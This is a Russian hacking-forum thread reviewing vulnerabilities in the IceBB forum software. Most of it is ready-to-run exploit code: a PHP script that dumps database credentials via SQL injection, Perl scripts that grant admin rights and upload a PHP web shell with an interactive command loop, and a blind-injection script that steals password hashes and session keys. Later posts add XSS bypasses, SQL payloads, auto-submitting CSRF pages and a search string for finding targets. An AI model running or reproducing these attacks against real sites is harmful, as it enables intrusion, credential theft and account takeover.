Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей IceBB] (https://forum.antichat.xyz/showthread.php?t=58591)

Solide Snake 14.01.2008 13:27

[Обзор уязвимостей IceBB]
 
Обзор уязвимостей IceBB


URL: http://www.icebb.net/
Actual version: 1.0-rc8
Source: Download


IceBB 1.0-rc6 Remote Database Authentication Details Exploit


Воздействие: Обход аутентификации

PHP код:

<?php
/*---------------------------------------------------------*\
IceBB 1.0-rc6 - Database Authentication Details Exploit

[|Description:|]
A security breach has been discoverd in IceBB 1.0-rc6.
This breach is caused by a bad filtering of the X-Forwarded-For variable:

> ./includes/functions.php, line 73
$ip     = empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['REMOTE_ADDR'] : $_SERVER['HTTP_X_FORWARDED_FOR'];
$ip    = $this->clean_key($ip);
$input['ICEBB_USER_IP']    = $ip;

> ./icebb.php, line 169
$icebb->client_ip    = $input['ICEBB_USER_IP'];

> ./admin/index.php, line 112
$icebb->adsess    = $db->fetch_result("SELECT adsess.*,u.id as userid,u.username,u.temp_ban,g.g_view_board FROM icebb_adsess AS adsess LEFT JOIN icebb_users AS u ON u.username=adsess.user LEFT JOIN icebb_groups AS g ON u.user_group=g.gid WHERE adsess.asid='{$icebb->input['s']}' AND adsess.ip='{$icebb->client_ip}' LIMIT 1");

A hacker could exploit this security breach in order to alter a SQL request.

[|Advisory:|]
http://www.aeroxteam.fr/advisory-IceBB-1.0rc6.txt

[|Solution:|]
No one. Think about update your forum core when a patch will be available on the official website.

Discovered by Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com)
for AeroX (AeroXteam.fr)
(C)opyleft 2007
Greetz: Math², KERNEL_ERROR, NeoMorphS, Snake91, Goundy, Alkino (...) And everybody from #aerox
\*---------------------------------------------------------*/

if(count($argv) == 4) {
    
head();
    if(
$argv[3] != && $argv[3] != 2) {
        die(
"\r\nIncorrect version !");
    } else {
        
$version $argv[3];
    }
    
    
    
############## PART 1 ##############
    
echo "[+] Connecting... ";
    
$sock fsockopen($argv[1], 80$eno$estr30);
    if (!
$sock) {
        die(
"Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
    }
    echo 
"OK\r\n";
    echo 
"[+] Getting tables prefix... ";
    
$query1  "GET ".$argv[2]."index.php?s=fake_sid&act=sql HTTP/1.1\r\n";
    
$query1 .= "Host: ".$argv[1]."\r\n";
    
$query1 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
    
$query1 .= "X-Forwarded-For: ".getInj()."\r\n";
    
$query1 .= "Accept: */*\r\n";
    
$query1 .= "Connection: Close\r\n\r\n";
    
fwrite($sock$query1);
    
$result1 '';
    while(!
feof($sock)) {
        
$result1 .= fgets($sock);
    }
    
fclose($sock);
    if(
preg_match("`<tr><td class='row2'><a href='index\.php\?s=my_sessid&act=sql&table=(.*?)adsess'>`"$result1$expreg)) {
        if(
$expreg[1] == '') {
            echo 
"Failed\r\n\r\nExploit Failed :(";
            die();
        }
        
$prefix $expreg[1];
        echo 
"OK (".$expreg[1].")\r\n";
    } else {
        echo 
"Failed\r\n\r\nExploit Failed :(";
        die();
    }
    
    
############## PART 2 ##############
    
echo "[+] Creating fake skin... ";
    
$sock fsockopen($argv[1], 80$eno$estr30);
    if (!
$sock) {
        die(
"Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
    }
    
$postdata2 "act=sql&func=runquery&query=INSERT+INTO+%60".$prefix."skins%60+%28%60skin_id%60%2C+%60skin_name%60%2C+%60skin_author%60%2C+%60skin_site%60%2C+%60skin_folder%60%2C+%60skin_preview%60%2C+%60skin_is_default%60%2C+%60skin_is_hidden%60%2C+%60skin_wrapper%60%2C+%60skin_macro_cache%60%2C+%60smiley_set%60%29+VALUES+%28666%2C+0x6F776E4564%2C+0x6834783072%2C+0x687474703A2F2F7777772E676F6F676C652E6672%2C+0x2E2E%2C+0x00%2C+0%2C+1%2C+0x00%2C+0x00%2C+0x00%29%3B";
    
$query2  "POST ".$argv[2]."index.php?s=fake_sid HTTP/1.1\r\n";
    
$query2 .= "Host: ".$argv[1]."\r\n";
    
$query2 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
    
$query2 .= "X-Forwarded-For: ".getInj()."\r\n";
    
$query2 .= "Accept: */*\r\n";
    
$query2 .= "Connection: Close\r\n";
    
$query2 .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$query2 .= "Content-Length: ".strlen($postdata2)."\r\n\r\n";
    
$query2 .= $postdata2;
    
fwrite($sock$query2);
    
$result2 '';
    while(!
feof($sock)) {
        
$result2 .= fgets($sock);
    }
    
fclose($sock);
    if(
strpos($result2"<textarea name='query' rows='5' cols='50'>INSERT INTO `icebb_skins` (`skin_id`, `skin_name`, `skin_author`, `skin_site`, `skin_folder`, `skin_preview`, `skin_is_default`, `skin_is_hidden`, `skin_wrapper`, `skin_macro_cache`, `smiley_set`) VALUES (666, 0x6F776E4564, 0x6834783072, 0x687474703A2F2F7777772E676F6F676C652E6672, 0x2E2E, 0x00, 0, 1, 0x00, 0x00, 0x00);</textarea>") === FALSE) {
        echo 
"Failed. Maybe Skin already exists ?\r\n";
    } else {
        echo 
"OK\r\n";
    }
    
    
    
############## PART 3 ##############
    
echo "[+] Getting config.php... ";
    
$sock fsockopen($argv[1], 80$eno$estr30);
    if (!
$sock) {
        die(
"Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
    }
    
$query3  "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=templates&skinid=666&code=edit&template=config HTTP/1.1\r\n";
    
$query3 .= "Host: ".$argv[1]."\r\n";
    
$query3 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
    
$query3 .= "X-Forwarded-For: ".getInj()."\r\n";
    
$query3 .= "Accept: */*\r\n";
    
$query3 .= "Connection: Close\r\n\r\n";
    
fwrite($sock$query3);
    
$result3 '';
    while(!
feof($sock)) {
        
$result3 .= fgets($sock);
    }
    
fclose($sock);
    if(
preg_match("`(<\?php.*\?>)`s"$result3$expreg2)) {
        echo 
"OK\r\n\r\n";
        echo 
$expreg2[1];
    } else {
        echo 
"Failed\r\n\r\nExploit Failed :(";
    }
    
    
    
############## PART 4 ##############
    
echo "\r\n\r\n[+] Removing fake skin... ";
    
$sock fsockopen($argv[1], 80$eno$estr30);
    if (!
$sock) {
        die(
"Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !");
    }
    
$query4  "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=disable&skinid=666 HTTP/1.1\r\n";
    
$query4 .= "Host: ".$argv[1]."\r\n";
    
$query4 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n";
    
$query4 .= "X-Forwarded-For: ".getInj()."\r\n";
    
$query4 .= "Accept: */*\r\n";
    
$query4 .= "Connection: Close\r\n\r\n";
    
fwrite($sock$query4);
    
fclose($sock);
    echo 
"OK\r\n\r\n";
    echo 
"Do you want to create a local config.php file ? (Y/N) ";
    
$a strtoupper(trim(fgets(STDIN)));
    if(
$a == 'Y') {
        
$handle fopen('config_'.$argv[1].'_'.time().'.php''w');
        
fwrite($handle$expreg2[1]);
        
fclose($handle);
    }
    
} else {
    
usage();
}
function 
getInj() {
    global 
$version;
    if(
$version == 1) {
        return 
"' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username /*";
    } elseif(
$version == 2) {
        return 
"' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username, 0 as temp_ban, 1 as g_view_board /*";
    }
}
function 
usage() {
    echo 
"+-------------------------------------------------------+\r\n";
    echo 
"|   IceBB <= 1.0-rc6 Database Authentication Details    |\r\n";
    echo 
"|             By Gu1ll4um3r0m41n for AeroX              |\r\n";
    echo 
"| Usage: php exploit.php site.com /pathtoadmin/ version |\r\n";
    echo 
"|                Version:   1 = rc5                     |\r\n";
    echo 
"|                           2 = rc6                     |\r\n";
    echo 
"+-------------------------------------------------------+\r\n";
}
function 
head() {
    echo 
"+--------------------------------------------------+\r\n";
    echo 
"| IceBB <= 1.0-rc6 Database Authentication Details |\r\n";
    echo 
"|           By Gu1ll4um3r0m41n for AeroX           |\r\n";
    echo 
"+--------------------------------------------------+\r\n\r\n";
}
?>


IceBB 1.0-rc5 Remote Code Execution Exploit


Воздействие: Выполнение произвольных команд

PHP код:

#!/usr/bin/perl
#  IceBB 1.0-rc5 Remote Code Execution Exploit
#  1. register a user
#  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
#  3. login with admin access :)
#
#
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use LWP::UserAgent;
use HTTP::Cookies;

$port = "80";
$host = $ARGV[0];
$uname = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;

print q(
###########################################################
#          IceBB 1.0-rc5 Remote Code Exec Exploit         #
#                    www.Hessamx.Net                      #
################# (C)oded By Hessam-x #####################

);


if (@ARGV < 3) {
print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
print " #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
exit();
}

   print " [~] User/Password : $uname/$passwd \n";
   print " [~] Host : $host \n";

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );


$login = $xpl->post($url.'index.php',
Content => [
'act' => 'login',
'from' => 'index.php',
'user' => $uname,
'pass' => $passwd,
'func' => 'Login',
],);

if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
       $cookie = $1;
   print " [~] Logined ...\n";
} else {
print " [-] Can not Login In $host !\n";
exit();
}

$badcode = "', user_group='1";
$avata = $xpl->post($url.'index.php',Content_Type => 'form-data',
Content => [
'avtype'  => 'upload',
'act' => 'ucp',
'func' => 'avatar',
'file'   => [
              undef,
              'avatar.jpg'.$badcode,
              Content_type => 'text/plain',
              Content => 'MYAVATAR',
             ],
'submit'        => 'Save',
],
);
$avat = $xpl->post($url.'index.php',Content_Type => 'form-data',
Content => [
'avtype'  => 'upload',
'act' => 'ucp',
'func' => 'avatar',
'file'   => [
              undef,
              'shell.php'.$badcode,
              Content_type => 'text/plain',
              Content => '<? echo ; echo _START_ system(\$_GET[\'cmd\']); echo _END_ ; ?>',
             ],
'submit'        => 'Save',
],
);
$test $xpl->get($url.'index.php');
if(
$test->as_string =~ /Admin Control Center/) {
print 
" [+] You Are admin Now ! \n";
} else {
print 
" [-] Exploit Failed ! \n";
exit();
}
if(
$test->as_string =~ /profile=(.*?)'>/) {
$uid = $1;
print " [~] User id : $1 \n";
} else {
print " [?] please enter user id : ";
     chomp($uid=<STDIN>);
}

   while ()
{
     print "\n[Shell - type '
exit' for exit]\$ ";
     chomp($exc=<STDIN>);
    &sys($exc);
}
sub sys($exc) {
     if ($exc eq '
exit') { exit() ; }
$res = $xpl->get($url.'
uploads/av-'.$uid.'.php?cmd='.$exc);
@result = split(/\n/,$res->content);
$runned = 0;
$on = 0;
for $res(@result) {
   if ($res =~ /^_END_/) { print "\n"; return 0; }
   if ($on == 0) { print "  $res\n"; }
   if ($res =~ /^_START_/) { $on = 1; $runned = 1; }
}
   if (!$runned) { print "\n Can not execute command . EXPLOIT FAILED !\n" ; exit(); };

}


print "\n #################################################### \n";


IceBB 1.0-rc5 Remote Create Admin Exploit


Воздействие: SQL-инъекция

PHP код:

#!/usr/bin/perl
#  IceBB 1.0-rc5 Remote Create Admin Exploit
#  1. register a user
#  2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]
#  3. login with admin access :)
# - magic_quotes_gpc = Off
#
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use LWP::UserAgent;
use 
HTTP::Cookies;

$port "80";
$host $ARGV[0];
$uname $ARGV[1];
$passwd $ARGV[2];
$url "http://".$host;

print 
q(
###########################################################
#        IceBB 1.0-rc5 Remote Create Admin Exploit        #
#                    www.Hessamx.Net                      #
################# (C)oded By Hessam-x #####################

);


if (@
ARGV 3) {
print 
" #  usage : xpl.pl [host&path] [uname] [pass]\n";
print 
" #  e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";
exit();
}

   print 
" [~] User/Password : $uname/$passwd \n";
   print 
" [~] Host : $host \n";

$xpl LWP::UserAgent->new() or die;
$cookie_jar HTTP::Cookies->new();

$xpl->cookie_jar$cookie_jar );


$login $xpl->post($url.'index.php',
Content => [
'act' => 'login',
'from' => 'index.php',
'user' => $uname,
'pass' => $passwd,
'func' => 'Login',
],);

if(
$cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {
       
$cookie = $1;
   print 
" [~] Logined ...\n";
} else {
print 
" [-] Can not Login In $host !\n";
exit();
}

$badcode "', user_group='1";
$avat $xpl->post($url.'index.php',Content_Type => 'form-data',
Content => [
'avtype'  => 'upload',
'act' => 'ucp',
'func' => 'avatar',
'file'   => [
              
undef,
              
'avatar.jpg'.$badcode,
              
Content_type => 'text/plain',
              
Content => 'MYAVATAR',
             ],
'submit'        => 'Save',
],
);
$test $xpl->get($url.'index.php');
if(
$test->as_string =~ /Admin Control Center/) {
print 
" [+] You Are admin Now ! \n";
} else {
print 
" [-] Exploit Failed ! \n";
}
print 
"\n #################################################### \n"


Для поиска форумов в поиске пишем:
Код:

Powered by IceBB

halkfild 14.01.2008 14:25

Affects: 1.0-rc7 and below (The development version of 1.1 is also affected)
Severity: Critical

Details:
A flaw in includes/functions.php allows an attacker to inject SQL into an SQL statement.

но дальше этого описания ничего нет.. поэтому я решил посмотреть :D.... если мы посмотрим includes/functions.php в 7 и 8 ветке увидим

функция что проверяет значения
PHP код:

// give our key a good scrubbin'
function wash_key($k)
{
    
//$k        = str_replace('+',urlencode('+'),$k);
    
$k        htmlspecialchars(urldecode($k));

    return 
$k;


и 8-мая
PHP код:

// give our key a good scrubbin'
function wash_key($k)
{
    
$k        htmlspecialchars($k,ENT_QUOTES);


    return 
$k;


ну а если 2 раза закодировать
Цитата:

%25%32%37%25%32%30%25%37%35%25%36%45%25%36%39%25%3 6%46%25%36%45%25%32%30%25%37%33%25%36%35%25%36%43% 25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32 %43%25%33%32%25%32%43%25%33%33%25%32%43%25%33%34%2 5%32%43%25%33%35%25%32%46%25%32%41
то функция пропустит
Цитата:

' union select 1,2,3,4,5/*
експлоит писать не стал, потому что мало форумов под 7-мой версией

з.ы. вообще под этим движком мало форумов))
з.з.ы у кого есть желание тестоните на локалхосте

ZAMUT 15.07.2008 19:34

Active XSS
Прикрепляем свой html - файл к посту, в нем будет находится java-скрипт. При открытии вложенного документа код сфункционирует.
© ZAMUT

~!DoK_tOR!~ 26.07.2008 22:27

IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit
 
IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit

Exploit:

Код:

#!/usr/bin/perl
# IceBB <= 1.0-RC9.2 Blind SQL Injection
# Admin/User's Session Hijacking PoC
# Coded by __GiReX__

use LWP::UserAgent;
 
if(not defined $ARGV[1])
{
        banner();
        print "[+] Usage:\tperl  $0  <host>  <path>  [id]\n";
        print "[+] Example:\tperl  $0  localhost  /icebb/ 1\n";
        exit;
}

my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
my $id  =  (defined $ARGV[2]) ? $ARGV[2]: 1; 

my $lwp =  new LWP::UserAgent;
my @cset  =  (48..57, 97..102);

my ($hash, $key, $user, $prefix) =  (undef, undef, undef, undef);     

banner();
$user = get_username();
$prefix =  get_prefix();

print STDOUT "[+] User $id username: $user\n";
       
for(my $j = 1; $j <= 32; $j++)

    foreach $char(@cset)
    {       
                info(chr($char), $hash, "password");
                $rv = check_char($char, $j, "password");       
       
                if(defined $rv)
                    {               
                        $hash .= chr($char);
                        last;
                    }
    }
       
    last if $j > 2 and not defined $hash;
}       

if(not defined $hash or length($hash) != 32)
{
        print STDOUT "\n\n[-] Exploit mistake: probably fixed\n";
        exit;
}
else
{
        print STDOUT "\n" x 1;
}

for(my $j = 1; $j <= 32; $j++)

    foreach $char(@cset)
    {       
          info(chr($char), $key, "loginkey");
          $rv = check_char($char, $j, "login_key");       
       
          if(defined $rv)
          {               
              $key .= chr($char);
              last;
          }
    }
       
    last if $j > 2 and not defined $key;
}

if(not defined $key or length($key) != 32)
{
    print STDOUT "\n\n[-] Exploit mistake: user $id has not a login_key\n";
    exit;
}

print "\n\n[+] Attempting to login with user's $id session...\n\n";

$logged = try_login();

if(defined $logged)
{
        print STDOUT "[+] Oh yeah logged in!\n\n";
        print STDOUT "[+] Try yourself with your browser and these cookies:\n\n";
        print STDOUT "[+] Cookie: ${prefix}user=${user}; ${prefix}pass=${hash}; \n".
                        "            ${prefix}uid=${id}; ${prefix}login_key=${key}\n\n";
}
else
{
        print STDOUT "[-] Attempt failed...\n\n";
}

print STDOUT "[+] Exploit terminated\n";


sub try_login()
{
  my $lwp = new LWP::UserAgent;
      $lwp->default_header('Cookie' => "${prefix}user=${user}; ${prefix}pass=${hash}; ${prefix}uid=${id}; ${prefix}login_key=${key}");
         
          my $res = $lwp->get($target);
         
          if($res->is_success)
          {
                  if($res->content =~ /User Control Panel/)
                  {
                            return 1;
                  }
          }
       
  return undef;
}

sub info
{
  my($c, $cur, $str)  =  @_;
       
        $cur = '' unless defined $cur;
        print  STDOUT "[+] User $id ${str}: ${cur}${c}\r";
       
  $| = 1;
}

sub check_char
{
  my ($char, $n, $field)  =  @_ ;
 
    my $res = $lwp->get($target."index.php?act=members&username=%5c&url=".
                                "OR+ASCII(SUBSTRING((SELECT+${field}+FROM+${prefix}users+WHERE+id=${id}),${n},1))=${char}%23");
               
        if($res->is_success)
            {
                if($res->content !~ /No members were found that met your selected critera/ and $res->content =~ /<h2>Member list<\/h2>/)
                {
                        return $res->is_success;         
                }
        }
       
  return undef;
}

sub get_prefix()
{
  my $rv = "icebb";
 
        my $res = $lwp->get($target."index.php?act=members&username=%5c&url=OR+1");
       
        if($res->content =~ /as total FROM ([a-z]+)_users WHERE/)
        {
                $rv = $1;
        }
       
  return $rv . '_';
}

sub get_username()

  my $rv = undef;
  my $res = $lwp->get($target."index.php?profile=${id}");
       
        if($res->is_success)
        {
                if($res->content =~ /<h2>View profile: (.+)<\/h2>/)
                {
                        $rv = $1;
                }
                else
                {
                        die "[-] Exploit mistake: user ${id} does not exists\n";
                }
        }
        else
        {
                die "[-] Exploit mistake: could not connect to $target\n";
        }
       
  return $rv;
 }

sub banner
{
    print "\n";
    print "[+] IceBB <= 1.0-RC9.2 Blind SQL Injection\n";
    print "[+] Admin/User's Session Hijacking PoC\n";
    print "[+] Coded by __GiReX__\n";
    print "\n\n";
}

Original link

Elekt 13.08.2008 12:52

IceBB 1.0-rc9.3 SQL-inj in [skin]
 

IceBB 1.0-rc9.3

Уязвимость существует из-за недостаточной обработки входных данных в параметре "skin" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

http://www.securitylab.ru/vulnerability/357234.php

xcedz 07.12.2008 18:58

Уязвимости в ICEBB
 
Вложений: 2
Уязвимость: Активная xss
Уязвимый продукт: icebb-1.0-rc10
HP:http://icebb.net/
Описание уязвимости:
Активная XSS. Атака осуществляется путем обхода фильтров форума.

Уязвимое место в коде (см. атач ICEBB8.txt)

Как обойти фильтр: можно поступить следующим образом (смотрим второй атач xss.txt)
Пояснение к атачу №2:
Кодируем javascript и alert(document.cookie)
заключаем в теги
[img]x:y[/img] и оставляем свой пост на форуме с этим кодом или можно послать сообщение админу :)
Таким образом, мы обходим фильтр, что приводит к
исполнению нашего кода.

Всем спасибо.

PS Пришлось атачить. не хотелось коверкать код.

Root-access 13.12.2009 17:22

[Обзор уязвимостей IceBB]
 
Сайт: icebb.net
Версии: все версии - представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com

Path Disclosing

Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password.
В html-коде этой страницы меняем строчку
Код:

<input type='password' name='pass_old' class='form_textbox' />
на
Код:

<input type='password' name='pass_old[]' class='form_textbox' />
Теперь заполняем поля и отправляем запрос.
На официальном форуме в ответ я увидел:
Код:

PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370

Active XSS

В скрипте /includes/classes/post_parser.php есть следующий участок кода:

PHP код:

    function xss_is_bad($t)
    {
        
//echo "javascript:";
        
        //$t                = html_entity_decode($t,ENT_QUOTES,'UTF-8');
        
$t                htmlspecialchars_decode($t,ENT_QUOTES);
    
        
$t                str_replace("<","<",$t);
        
$t                str_replace(">",">",$t);
    
        
//$t                = str_replace("&quot;","&quot;",$t);
        
$t                preg_replace("/&#0*([0-9]*);?/",'&#\\1;',$t);
        
$t                str_replace('javascript:','javascript:',$t);
    
        
//$t                = html_entity_decode($t,ENT_QUOTES);
        //echo $t;
    
        
$t                preg_replace("/javascript:/i"        "nojava"/*ava*/."script:"    ,$t);
        
$t                preg_replace("/vbscript:/i"        "novb"/*b*/."script:"    ,$t);
        
//$t                = preg_replace('/javascript:/i','javascript:',$t);
        //$t                = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t);
    
        //$t                = htmlspecialchars($t,ENT_QUOTES);
        
        //$t                    = htmlentities($t,ENT_QUOTES);
        
        //$t                    = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t);
    
        
return $t;
    } 


В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело:
PHP код:

        $t                str_replace('javascript:','javascript:',$t); 

Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос:

Код:

[*img]&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert();[*/img]
В ответ мы увидим желаемое.


Blind SQL-Injection

Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка:

PHP код:

$db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'"); 

Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей.
Здесь sql-инъекция в post-запросе.
Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке.
Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1
Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_u sers+where+id=1),1,1))>1
И так далее...

Root-access 16.12.2009 23:12

Уязвимость: Profile Change XSRF (CSRF) Vulnerability.
Описание: Изменение профильных данных пользователя на произвольные. Работает во всех версиях.
Эксплойт:
Код:

<html>
<body>
<div style="display:none;">
<form action='http://victim.com/index.php?act=ucp&func=profile' method='post' name='profileInfo'>
<strong>Member title:</strong><input type='text' name='title' value='XSRF by Root-access'  /><br>
<strong>Location:</strong><input type='text' name='AHCo.Ru' value='' /><br>
<strong>Gender:</strong><select name='gender'><br>
<option value='u' selected='selected'>-</option>
<option value='m'>Male</option>
<option value='f'>Female</option>
</select>
<strong>MSN Messenger:</strong><input type='text' name='msn' value='' /><br>
<strong>AIM screen name:</strong><input type='text' name='aim' value='' /><br>
<strong>Yahoo Messenger:</strong><input type='text' name='yahoo' value='' /><br>
<strong>Jabber:</strong><input type='text' name='jabber' value='' /><br>
<strong>Website:</strong><input type='text' name='url' value='http://ahco.ru' /><br>
<strong>Birthday:</strong><select name='dob_month' class='form_dropdown'><option value='1'>January</option><option value='2'>February</option><option value='3'>March</option><option value='4'>April</option><option value='5'>May</option><option value='6'>June</option><option value='7'>July</option><option value='8'>August</option><option value='9'>September</option><option value='10'>October</option><option value='11'>November</option><option value='12' selected='selected'>December</option></select> <select name='dob_day' class='form_dropdown'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option><option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option><option value='10'>10</option><option value='11'>11</option><option value='12'>12</option><option value='13'>13</option><option value='14'>14</option><option value='15'>15</option><option value='16'>16</option><option value='17'>17</option><option value='18'>18</option><option value='19'>19</option><option value='20'>20</option><option value='21'>21</option><option value='22'>22</option><option value='23'>23</option><option value='24'>24</option><option value='25'>25</option><option value='26'>26</option><option value='27'>27</option><option value='28'>28</option><option value='29'>29</option><option value='30'>30</option><option value='31' selected='selected'>31</option></select> <select name='dob_year' class='form_dropdown'><option value='2009'>2009</option><option value='2008'>2008</option><option value='2007'>2007</option><option value='2006'>2006</option><option value='2005'>2005</option><option value='2004'>2004</option><option value='2003'>2003</option><option value='2002'>2002</option><option value='2001'>2001</option><option value='2000'>2000</option><option value='1999'>1999</option><option value='1998'>1998</option><option value='1997'>1997</option><option value='1996'>1996</option><option value='1995'>1995</option><option value='1994'>1994</option><option value='1993'>1993</option><option value='1992'>1992</option><option value='1991'>1991</option><option value='1990'>1990</option><option value='1989'>1989</option><option value='1988'>1988</option><option value='1987'>1987</option><option value='1986'>1986</option><option value='1985'>1985</option><option value='1984'>1984</option><option value='1983'>1983</option><option value='1982'>1982</option><option value='1981'>1981</option><option value='1980'>1980</option><option value='1979'>1979</option><option value='1978'>1978</option><option value='1977'>1977</option><option value='1976'>1976</option><option value='1975'>1975</option><option value='1974'>1974</option><option value='1973'>1973</option><option value='1972'>1972</option><option value='1971'>1971</option><option value='1970'>1970</option><option value='1969' selected='selected'>1969</option><option value='1968'>1968</option><option value='1967'>1967</option><option value='1966'>1966</option><option value='1965'>1965</option><option value='1964'>1964</option><option value='1963'>1963</option><option value='1962'>1962</option><option value='1961'>1961</option><option value='1960'>1960</option><option value='1959'>1959</option><option value='1958'>1958</option><option value='1957'>1957</option><option value='1956'>1956</option><option value='1955'>1955</option><option value='1954'>1954</option><option value='1953'>1953</option><option value='1952'>1952</option><option value='1951'>1951</option><option value='1950'>1950</option><option value='1949'>1949</option><option value='1948'>1948</option><option value='1947'>1947</option><option value='1946'>1946</option><option value='1945'>1945</option><option value='1944'>1944</option><option value='1943'>1943</option><option value='1942'>1942</option><option value='1941'>1941</option><option value='1940'>1940</option><option value='1939'>1939</option><option value='1938'>1938</option><option value='1937'>1937</option><option value='1936'>1936</option><option value='1935'>1935</option><option value='1934'>1934</option><option value='1933'>1933</option><option value='1932'>1932</option><option value='1931'>1931</option><option value='1930'>1930</option><option value='1929'>1929</option><option value='1928'>1928</option><option value='1927'>1927</option><option value='1926'>1926</option><option value='1925'>1925</option><option value='1924'>1924</option><option value='1923'>1923</option><option value='1922'>1922</option><option value='1921'>1921</option><option value='1920'>1920</option><option value='1919'>1919</option><option value='1918'>1918</option><option value='1917'>1917</option><option value='1916'>1916</option><option value='1915'>1915</option><option value='1914'>1914</option><option value='1913'>1913</option><option value='1912'>1912</option><option value='1911'>1911</option><option value='1910'>1910</option><option value='1909'>1909</option><option value='1908'>1908</option><option value='1907'>1907</option><option value='1906'>1906</option><option value='1905'>1905</option><option value='1904'>1904</option><option value='1903'>1903</option><option value='1902'>1902</option><option value='1901'>1901</option><option value='1900'>1900</option></select><br>
<div class='buttonstrip'><input type='submit' name='submit' value="Save my Profile" id="xsrf" /></div>
</div>
</form>
<script>document.getElementById("xsrf").click();</script>
</body>
</html>


Уязвимость: Signature Change XSRF (CSRF) Vulnerability.
Описание: Изменение подписи пользователя на произвольную. Работает во всех версиях.
Эксплойт:
Код:

<html>
<body>
<form action='http://victim.com/index.php?act=ucp&func=signature' method='post' name='signatureInfo'>
<textarea id='postbox' name='sig' rows='16' cols='50' class='form_textarea'>XSRF by Root-access: Security & Hacking</textarea>
<input type='submit' value="Save signature" id="xsrf"/>
<script>document.getElementById("xsrf").click();</script>
</body>
</html>



Время: 12:33